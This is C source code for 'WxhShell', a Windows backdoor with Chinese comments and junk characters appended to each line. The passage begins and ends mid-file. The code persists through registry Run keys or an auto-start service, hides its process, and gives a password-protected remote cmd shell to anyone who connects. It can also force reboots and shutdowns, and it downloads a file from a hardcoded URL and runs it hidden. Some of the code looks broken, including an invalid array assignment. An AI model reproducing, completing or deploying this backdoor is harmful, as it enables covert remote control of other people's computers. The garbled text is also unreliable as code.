    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >TVd*S  
    if(Boot(SHUTDOWN)) <Gt{(is  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \{^yB4F_Z  
    else { "PP0PL^5F  
    closesocket(wsh); I ywx1ac  
    ExitThread(0); gG?*Fi  
    } o*S $j Cf?  
    break; ]qT r4`.  
    } Tm,L?Jh  
  // 获取shell LPgI"6cP  
  case 's': { y^fU_L?p  
    CmdShell(wsh); >dH*FZ:c  
    closesocket(wsh); O c3%pb;  
    ExitThread(0); Z1}zf( JU  
    break; s:.XF|e{  
  } Q(Y,p`>  
  // 退出 '%7]xp  
  case 'x': { tOVm~C,R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a#j^gu$m  
    CloseIt(wsh); 3Q"+ #Ob  
    break; G+p>39P   
    } )xs,  
  // 离开 SuuS!U+i>  
  case 'q': { K?I&,t_*R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H(m+rk  
    closesocket(wsh); VAzJclB  
    WSACleanup(); 2C&%UZim;P  
    exit(1); Q*(C)/QW  
    break; !Z)^c&  
        } {NDe9V5  
  } xz'd5 re%  
  } 6S&YL  
{bEEQCweNJ  
  // 提示信息 AXI:h"so  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Q;1;QXd  
} p$ <qT^]&  
  } {HDlv[O%  
Sa~C#[V  
  return; h!]A(T\J  
} 3I(M<sB}  
z5/O8}Gz@  
// shell模块句柄 ?8/h3xV;  
int CmdShell(SOCKET sock) Z;s-t\C  
{ bc-)y3gHU  
STARTUPINFO si; I-"{m/PEdg  
ZeroMemory(&si,sizeof(si)); !}7m^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zv93cv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BD+?Ad?  
PROCESS_INFORMATION ProcessInfo; * vD<6qf  
char cmdline[]="cmd"; A@r,A?(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J>35q'nN]F  
  return 0; eo[^ij  
} ?YO%]mTP  
\eCdGx?  
// 自身启动模式 @d|9(,Q  
int StartFromService(void) IF1}}[Ht  
{ NBX/V^  
typedef struct 8),Y|4  
{ yW 3h_08  
  DWORD ExitStatus; %#~Wk|8} Q  
  DWORD PebBaseAddress; ' iK0Wr  
  DWORD AffinityMask; 7j8_O@_  
  DWORD BasePriority; QZol( 2~Y  
  ULONG UniqueProcessId; `<q5RuU  
  ULONG InheritedFromUniqueProcessId; w0iE x1i  
}   PROCESS_BASIC_INFORMATION; KMZ`Wn=  
(n\ cs$  
PROCNTQSIP NtQueryInformationProcess; \BW(c)Q  
Pl4d(2 7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R0[Gfq9M =  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O/Vue  
5]E5V@C   
  HANDLE             hProcess; FceT'  
  PROCESS_BASIC_INFORMATION pbi; vNIQc "\-  
-5K/ cK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b%(0AL  
  if(NULL == hInst ) return 0; 1Jt%I'C?  
Nsq%b?#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2ip~qZNw><  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {$^|^n5j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i{2KMa{K  
5|Qr"c$p  
  if (!NtQueryInformationProcess) return 0; aF:LL>H  
H@zpw1fH+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -84Z8?_  
  if(!hProcess) return 0; A:f+x|[  
y06 2/$*$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j*"s~8u4  
CJ_B.  
  CloseHandle(hProcess); 6C:Lq%}  
@,]v'l!u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N@g+51ye  
if(hProcess==NULL) return 0; ; OsN^   
LPC7Bdjz  
HMODULE hMod; 4J  s>yP  
char procName[255]; =LRUasF  
unsigned long cbNeeded; +]#>6/2q  
(&S v $L@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x K/`XY  
]@xc9 tlG  
  CloseHandle(hProcess); cMj<k8.{  
B~^\jRd "  
if(strstr(procName,"services")) return 1; // 以服务启动 rP'oU V_  
f*Kipgp  
  return 0; // 注册表启动 o}T]f(>}  
} 0t) IW D  
>,DR{A2hSB  
// 主模块 4AGc2e'u  
int StartWxhshell(LPSTR lpCmdLine) Z1Ms ~tch  
{ o` e~1  
  SOCKET wsl; _?{2{^v  
BOOL val=TRUE; \R~Lf+q  
  int port=0; oR+Fn}mG  
  struct sockaddr_in door; 3yTBkFI!  
HjK|9  
  if(wscfg.ws_autoins) Install(); Hw Db &pP"  
As"'KR  
port=atoi(lpCmdLine); Z8m/8M  
6)W9/V-W  
if(port<=0) port=wscfg.ws_port;  9( m^^  
zIQ\ _>  
  WSADATA data; V@$B>HeK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y$(G)Fs  
IRpCbTIXK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _8bqk\m+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5vS'Qhc  
  door.sin_family = AF_INET; zP5HTEz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #oHHKl=M  
  door.sin_port = htons(port); oL<^m?-u  
W7.]V)$wM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5 bgx;z9  
closesocket(wsl); il:+O08_  
return 1; 9{+B l NZ  
} f1Rm9``  
f5'+F-`N  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Eq_L  
closesocket(wsl); aa$+(  
return 1; Jr#ptf"Wu  
} }APf^Ry  
  Wxhshell(wsl); Wt_@ vs@.O  
  WSACleanup(); 3uN;*f  
:g][99  
return 0; gPDc6{/C<  
ETYw  
} 63ht|$G  
XWK A0  
// 以NT服务方式启动 ,;UVQwY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U*)pUJ{&t  
{ 4SmhtC  
DWORD   status = 0; ny{|{ a  
  DWORD   specificError = 0xfffffff; q4Q1Ib-<2  
uQrD}%GI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9^ )=N=wV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  $ l Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {G_ZEo#x8,  
  serviceStatus.dwWin32ExitCode     = 0; $ -;,O8yR  
  serviceStatus.dwServiceSpecificExitCode = 0; Rs7=v2>I  
  serviceStatus.dwCheckPoint       = 0; )| 3?7?X  
  serviceStatus.dwWaitHint       = 0; 5v8_ji#l[  
$5:j" )$,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uT ngDk  
  if (hServiceStatusHandle==0) return; Hj LY\.S  
nT9B?P>  
status = GetLastError(); <!R~G-D#_T  
  if (status!=NO_ERROR) 6!O~:\`DJ  
{ G,%R`Xns  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v-EcJj%  
    serviceStatus.dwCheckPoint       = 0; ?~hC.5  
    serviceStatus.dwWaitHint       = 0; Fd9ypZs  
    serviceStatus.dwWin32ExitCode     = status; Ac|IBXGa=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 `$-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WL+I)n8~  
    return; +.:- :  
  } wHvX|GwMv  
ilHZx2 k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w/#k.YE  
  serviceStatus.dwCheckPoint       = 0; 'WUd7  
  serviceStatus.dwWaitHint       = 0; Hcq?7_)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GMyzQ]@}  
} Nyip]VwMJ  
ssUWr=mD  
// 处理NT服务事件,比如:启动、停止 fczId"   
VOID WINAPI NTServiceHandler(DWORD fdwControl) M3!A?!BU  
{ jTH,GF  
switch(fdwControl) DKp+ nq$  
{ bk44 qL;8  
case SERVICE_CONTROL_STOP: 0[/>> !ws  
  serviceStatus.dwWin32ExitCode = 0; Y92 w L}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~7IXJeon  
  serviceStatus.dwCheckPoint   = 0; 2x<,R/}  
  serviceStatus.dwWaitHint     = 0; w3WBgH  
  { qwM71B!r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 GqR]KD  
  } ).0klwfV  
  return; D,b'1=  
case SERVICE_CONTROL_PAUSE: @8{-B;   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LVP2jTz  
  break; e:D8.h+ &}  
case SERVICE_CONTROL_CONTINUE: 0A9llE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ammlUWl  
  break; ]-]K4*{   
case SERVICE_CONTROL_INTERROGATE: 4c^WQ>[  
  break; G'<:O(Imu  
}; Zawnx=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^,O%E;g^#  
} '-c *S]:r  
2t 7':X  
// 标准应用程序主函数 a|S6r-_;s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p?rh+0wgX  
{ F#Y9 @E  
5argw+2s4$  
// 获取操作系统版本 NhJ]X cfP8  
OsIsNt=GetOsVer(); %n?&#_G|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rZ`+g7&^Fh  
7W[+e&  
  // 从命令行安装 [>--U)/  
  if(strpbrk(lpCmdLine,"iI")) Install(); lidVe]>  
X6 E^5m  
  // 下载执行文件 8_$[SV$q  
if(wscfg.ws_downexe) { x Zp`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CZZwBt$P  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^cRAtoa  
} ^Mvgm3hg  
!U::kr=t  
if(!OsIsNt) { "{9^SPsp  
// 如果时win9x,隐藏进程并且设置为注册表启动 xB4}9zN s  
HideProc(); 'k'"+  
StartWxhshell(lpCmdLine); '`+8'3K~E  
} pSa pF)1>  
else ) KvGJo)("  
  if(StartFromService()) fM/~k>wl  
  // 以服务方式启动 kF]sy8u]  
  StartServiceCtrlDispatcher(DispatchTable); VEsIhjQ  
else )x5t']w`K  
  // 普通方式启动 NJ^Bv`  
  StartWxhshell(lpCmdLine); f/PqkHF  
v_|k:l  
return 0; NI  r"i2  
} $ U=j<^R}a  
3s\}|LqX#  
v`r![QpYf  
1S+lHG92I  
=========================================== "LNLM  
 L}=DC =E  
:X*$U ~aQ  
Y6 <.]H  
K>2M*bGc p  
G)IK5zCDd  
" ^]5^p9Jt"e  
DuQW?9^232  
#include <stdio.h> 1'B&e)  
#include <string.h> ?zuKVi? I  
#include <windows.h> 4iDqd  
#include <winsock2.h> T@jv0/(+  
#include <winsvc.h> !aB~G}'  
#include <urlmon.h> 8'PK}heBU  
WJJmM*>JW  
#pragma comment (lib, "Ws2_32.lib") &g"`J`  
#pragma comment (lib, "urlmon.lib") _vJ(F  
BgT(~8'  
#define MAX_USER   100 // 最大客户端连接数 4V&(w, zl  
#define BUF_SOCK   200 // sock buffer WF_ v>g:g  
#define KEY_BUFF   255 // 输入 buffer <v6W l\  
:b0|v`FU  
#define REBOOT     0   // 重启 cT5BBR   
#define SHUTDOWN   1   // 关机 Kzx` E>,z'  
~ o=kW2Y  
#define DEF_PORT   5000 // 监听端口 l(9AwVoAR|  
Q@1SqK#-DQ  
#define REG_LEN     16   // 注册表键长度 8VtRRtl  
#define SVC_LEN     80   // NT服务名长度 4,0 8`5{  
xO^lE@a o  
// 从dll定义API )Ma/] eZ^I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _T_6Yl&cf)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aoQ$"PF9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~.>8ww  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dT0>\9ZNr  
zR4]buHnE  
// wxhshell配置信息 f/QwXO-U  
struct WSCFG { N!fjN >cw  
  int ws_port;         // 监听端口 S17;;w0  
  char ws_passstr[REG_LEN]; // 口令 c^rWS&)P  
  int ws_autoins;       // 安装标记, 1=yes 0=no u* G+=aV.6  
  char ws_regname[REG_LEN]; // 注册表键名 jK".iqx2L  
  char ws_svcname[REG_LEN]; // 服务名 +|x{?%.O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yw yMC d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [mQdc?n\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d}%-vm} 0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4JyA+OD4{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~%2yDhdQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UM`{V5NG#  
sH>`eqY  
}; Qea"49R  
8A5/jqnqt  
// default Wxhshell configuration W/3sJc9  
struct WSCFG wscfg={DEF_PORT, {kBsiSvsA;  
    "xuhuanlingzhe", 0@[*~H0{n  
    1, r \[|'hA  
    "Wxhshell", ;l1.jQh  
    "Wxhshell", =j{tFxJ  
            "WxhShell Service", w3 kkam"  
    "Wrsky Windows CmdShell Service", =@pD>h/~  
    "Please Input Your Password: ", 9^9-\DG  
  1, &4+|{Zx0  
  "http://www.wrsky.com/wxhshell.exe", GXIzAB(  
  "Wxhshell.exe" Qwt0~9n(  
    }; pF7N = mO  
OrYN-A4{  
// 消息定义模块 OR*JWW[]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qpMcVJL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hv?T}E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nF_q{e7  
char *msg_ws_ext="\n\rExit."; ;c>"gW8  
char *msg_ws_end="\n\rQuit."; j"'a5;Sy  
char *msg_ws_boot="\n\rReboot..."; o2=):2x r{  
char *msg_ws_poff="\n\rShutdown..."; h _{f_GQ"  
char *msg_ws_down="\n\rSave to "; Q"B8l[  
Kc95yt  
char *msg_ws_err="\n\rErr!"; [\#ANA"  
char *msg_ws_ok="\n\rOK!"; nGe4IY\-w  
4H (8BNgzV  
char ExeFile[MAX_PATH]; ;Ce?f=4  
int nUser = 0; #g0_8>t  
HANDLE handles[MAX_USER]; dq@ * 8ui  
int OsIsNt; H la?\  
8'L:D  
SERVICE_STATUS       serviceStatus; 7Mq{Py1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {lH'T1^m  
:IBP "  
// 函数声明 tq~4W% p/  
int Install(void); >zDQt7+g;  
int Uninstall(void); }<X*:%#b  
int DownloadFile(char *sURL, SOCKET wsh); 1/m$#sz  
int Boot(int flag); ;y. ;U#O  
void HideProc(void); W^h,O+vk  
int GetOsVer(void); 1;1;-4k7I  
int Wxhshell(SOCKET wsl); 8b.k*,r>  
void TalkWithClient(void *cs); #^r-D[/m  
int CmdShell(SOCKET sock); p<(a);<L  
int StartFromService(void); ,*U-o}{8C?  
int StartWxhshell(LPSTR lpCmdLine); = g &  
Dk a8[z7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3o[(pfcU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :e=7=|@7  
$x`HmL3Sb  
// 数据结构和表定义 T)sIV5bk  
SERVICE_TABLE_ENTRY DispatchTable[] = g*My1+J!  
{ krFp q;  
{wscfg.ws_svcname, NTServiceMain}, X Vt;hO  
{NULL, NULL} fMFkA(Of^  
}; G#e]J;   
S+~;PmN9qL  
// 自我安装 \Db;7wh  
int Install(void) o]4BST(A  
{ iB(?}SaAZ  
  char svExeFile[MAX_PATH]; j@(S7=^C6%  
  HKEY key; &WBpd}|+Y  
  strcpy(svExeFile,ExeFile); |v%$Q/zp&  
X!LiekU!D  
// 如果是win9x系统,修改注册表设为自启动 >QvqH 2  
if(!OsIsNt) { 8 <;.[l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yg '(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B=K<k+{6"  
  RegCloseKey(key); >*gf1"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l<uI-RX "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0@b<?Ms9  
  RegCloseKey(key); 9&=%shOc+x  
  return 0; NR(rr.  
    } JUA%l  
  } ?>*d82yO  
} %A~. NNbS  
else { O4f9n  
GY-4w@Wl  
// 如果是NT以上系统,安装为系统服务 jrN 5l1np  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !p+rU?  
if (schSCManager!=0) hs;|,r  
{ [_xOz4`%  
  SC_HANDLE schService = CreateService X%-hTl  
  ( #S/~1{   
  schSCManager, U&B(uk(2  
  wscfg.ws_svcname, =v\}y+ Yh  
  wscfg.ws_svcdisp, {@7UfJh>  
  SERVICE_ALL_ACCESS, 6zU0 8z0-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2N &B  
  SERVICE_AUTO_START, @(a~ p  
  SERVICE_ERROR_NORMAL, 4IfkYM  
  svExeFile, _?{KTgJG  
  NULL, 8i`T?KB  
  NULL, "[["naa  
  NULL, D&mPYxXL  
  NULL, `{"V(YMEV  
  NULL 8cY5:plK  
  ); 7eM6 B#rI  
  if (schService!=0) s!YX<V  
  { ~8k`~t!  
  CloseServiceHandle(schService); Dy. |bUB!f  
  CloseServiceHandle(schSCManager); ',FVT4OMw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X J]+F  
  strcat(svExeFile,wscfg.ws_svcname); J^` pE^S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <]S M$) =D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O>rz+8T  
  RegCloseKey(key); p |;#frj  
  return 0; ct*~\C6Ze  
    } _pS)bx w  
  } iN u k5  
  CloseServiceHandle(schSCManager); L-|7 &  
} !&KE">3Qu  
} @d3yqA  
\@Z D.d#  
return 1; :8)3t! A  
} Vz,"vBds  
K nn<q=';G  
// 自我卸载 **9[e[(X  
int Uninstall(void) /WAOpf5  
{ M _Lj5`  
  HKEY key; 8.`5"9Vh  
3=L5Y/  
if(!OsIsNt) { g ?% ]()E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "\afIYS I  
  RegDeleteValue(key,wscfg.ws_regname); /4*>.Nmb,f  
  RegCloseKey(key); XHuHbriI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1@]gBv<  
  RegDeleteValue(key,wscfg.ws_regname); )lx;u.$4  
  RegCloseKey(key); |oOA;JC)(  
  return 0; ?y*yl  
  } G"<} s mB  
} hdH-VR4  
} %8% 0l*n'  
else { |2X+( F Ed  
HFj@NRE6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^''3}<Ep  
if (schSCManager!=0) )Oj%3  
{ *zPz)3;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ? i|LO  
  if (schService!=0) r$d'[ZcX  
  { /$ueLa  
  if(DeleteService(schService)!=0) { g>f_'7F&  
  CloseServiceHandle(schService); Mg^3Y'{o  
  CloseServiceHandle(schSCManager); -S}^b6WL  
  return 0; 2I~a{:O  
  } UbwD2>  
  CloseServiceHandle(schService); )d?L*X~y'  
  } n<7R6)j6  
  CloseServiceHandle(schSCManager); pXxpEv  
} X9uYqvP\(  
} XM*%n8q7#N  
-f[95Z3}  
return 1; Q|HOy8O}Z  
} Rwz (20n\^  
w8AHs/'r  
// 从指定url下载文件 +D+Rf,D  
int DownloadFile(char *sURL, SOCKET wsh) SE!0f&  
{ z2A1h!Me  
  HRESULT hr; Jyu*{  
char seps[]= "/"; Y]t)k9|vv  
char *token; ]^CNC0  
char *file; +~\c1|f  
char myURL[MAX_PATH]; ?wS/KEl=O  
char myFILE[MAX_PATH]; l+8G6?@]>  
tqe8:\1yK  
strcpy(myURL,sURL); zz+[]G+"2m  
  token=strtok(myURL,seps); sv?Lk4_  
  while(token!=NULL) Bl)DuCV  
  { h/n&& J  
    file=token; @5\ns-%  
  token=strtok(NULL,seps); 9i+SU|;j  
  } 9AdA|/WV  
J'>i3e Lq  
GetCurrentDirectory(MAX_PATH,myFILE); S+(-k0  
strcat(myFILE, "\\"); U#!f^@&AB  
strcat(myFILE, file); GE[J`?E]  
  send(wsh,myFILE,strlen(myFILE),0); /"<o""<]  
send(wsh,"...",3,0); 9 nPc>O$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >A;9Ee"&  
  if(hr==S_OK) I=I'O?w  
return 0; nE3'm[)  
else $R[ggH&  
return 1; 2U;ImC1g  
#2023Zo]  
} u;qBW uO  
.3.oan*i  
// 系统电源模块 +MfdZD  
int Boot(int flag) $NtbI:e{  
{ tb-:9*2j-  
  HANDLE hToken; u/BCl!`  
  TOKEN_PRIVILEGES tkp; 80M"`6  
CcHf1 _CI  
  if(OsIsNt) { AI&Bv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4j'cXxo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (0T6kD  
    tkp.PrivilegeCount = 1; @;we4G5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X^U)j N2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &O5W  
if(flag==REBOOT) { Ol~j q;75  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ok=RhoZZ  
  return 0; $i+ 1a0%n  
} DhwFD8tT  
else { i<*{Z~B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L+&eY?A  
  return 0; KU> $=Rd  
} wYrb P11  
  } <d GGH  
  else { I'h6!N"  
if(flag==REBOOT) { pUs s_3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $Xf gY1S  
  return 0; J<<0U;  
} e.<$G'  
else { h$Z_r($b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gm63dE>  
  return 0; yu'2  
} QGYO{S  
} 9~^%v zM  
4|Dxyb>pS  
return 1; wr/Z)e =^3  
} ]}_@!F)  
`[<j5(T  
// win9x进程隐藏模块 Rl7V~dUY  
void HideProc(void) b{C3r3B8  
{ MOuI;EF  
0jsU^m<g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /hPgOaB  
  if ( hKernel != NULL ) >;N0( xB  
  { 6OJ`R.DM`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EROf%oaz=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;O*y$|+PA  
    FreeLibrary(hKernel); ? 8g[0/  
  } P#/k5]g  
w z-9+VN6  
return; pm+_s]s,  
} ]VifDFL}  
 PK#; \Zw  
// 获取操作系统版本 @'.(62v  
int GetOsVer(void) `p@YV(  
{ f?wn;;z`  
  OSVERSIONINFO winfo; / c1=`OJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lHBk&UN'  
  GetVersionEx(&winfo); =@U~ sl [  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #/NZ0IbHk  
  return 1; };[~>Mzl  
  else {{c/:FTEU  
  return 0; (|_1ku3!  
} g@!mV)c97  
5CZii=@  
// 客户端句柄模块 Y27x;U  
int Wxhshell(SOCKET wsl) {=W TAgP  
{ 5Z]zul@+*  
  SOCKET wsh; UD|Qa  
  struct sockaddr_in client; [hs_HYqJ  
  DWORD myID; d'~ kf#  
pqmS w  
  while(nUser<MAX_USER) '!*,JG5_  
{ #9Z\jW6b  
  int nSize=sizeof(client); lwEJ)Bv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |^K-m42  
  if(wsh==INVALID_SOCKET) return 1; A`Vz5WB  
gPO,Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xSFY8  
if(handles[nUser]==0) XUT,)dL  
  closesocket(wsh); lf4V; |!^  
else pi)7R:i  
  nUser++; ~1&%,$fZ  
  } Ek|#P{!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J<h^V+x  
bD_|n!3  
  return 0; >U\,(VB  
} kwRXNE(k]_  
tbHU(#~  
// 关闭 socket ">vxYi  
void CloseIt(SOCKET wsh) +}H2|vP  
{ U)~?/s{v  
closesocket(wsh); ]-d:wEj  
nUser--; $\kqh$")  
ExitThread(0); (q'w"qj  
} FB {4& ;  
tZlz0BY!  
// 客户端请求句柄 '@)47]~  
void TalkWithClient(void *cs) T|o[! @:,  
{ [MfKBlA  
@/i;/$\  
  SOCKET wsh=(SOCKET)cs; t_HS0rxG  
  char pwd[SVC_LEN]; ~^*IP1.3  
  char cmd[KEY_BUFF]; Ag1*.t|  
char chr[1]; <}S1ZEZcQ  
int i,j; t2Dx$vT*&  
YEF|SEon0  
  while (nUser < MAX_USER) { p!^.;c  
tFLdBv!=:^  
if(wscfg.ws_passstr) { |:_WdU"Q]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j0b?dKd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *sI`+4h[  
  //ZeroMemory(pwd,KEY_BUFF); yi`Z(j;  
      i=0; 0{bGVLp  
  while(i<SVC_LEN) { k,o|"9H  
,L ;ueAo  
  // 设置超时 b~?FV>gl  
  fd_set FdRead; :#8#tLv  
  struct timeval TimeOut; _,V 9^  
  FD_ZERO(&FdRead); /Po't(-x  
  FD_SET(wsh,&FdRead); X2b<_j3  
  TimeOut.tv_sec=8; w'[lIEP 2$  
  TimeOut.tv_usec=0; dKyJ.p   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <eRE;8C-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a f[<[2pma  
:G$f)NMK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9-)D"ZhLe  
  pwd=chr[0];  # Vz9j  
  if(chr[0]==0xd || chr[0]==0xa) { bDI#'F  
  pwd=0; eqz#KN`n#  
  break; uJ jm50R<  
  } .nCF`5T!  
  i++;  y/t{*a  
    } ,f0|eu>  
^CZ!rOSv  
  // 如果是非法用户,关闭 socket UFnz3vc  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ab ?   
} 7PG&G5  
4DY\QvW5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ql, k5.l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l);M(<  
3|4jS"t{f  
while(1) { ,Bh!|H(?L1  
b#;%TbDF  
  ZeroMemory(cmd,KEY_BUFF); TR:V7 d  
d?dZ=]~C  
      // 自动支持客户端 telnet标准    JvFd2@  
  j=0; * SH5p  
  while(j<KEY_BUFF) { < GoUth.#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'TWZ@8h~  
  cmd[j]=chr[0]; hM~9p{O  
  if(chr[0]==0xa || chr[0]==0xd) { ??& Q"6Oe  
  cmd[j]=0; (V2~txMh  
  break; !{'C.sb?~  
  } E.V#Bk=  
  j++; }F3}-5![  
    } m\QUt ;  
!#l>+9  
  // 下载文件 olc7&R  
  if(strstr(cmd,"http://")) { YlfzHeN1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X|!Vt O  
  if(DownloadFile(cmd,wsh)) AlP}H~|M7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pf`HF|NI  
  else M*M,Z  
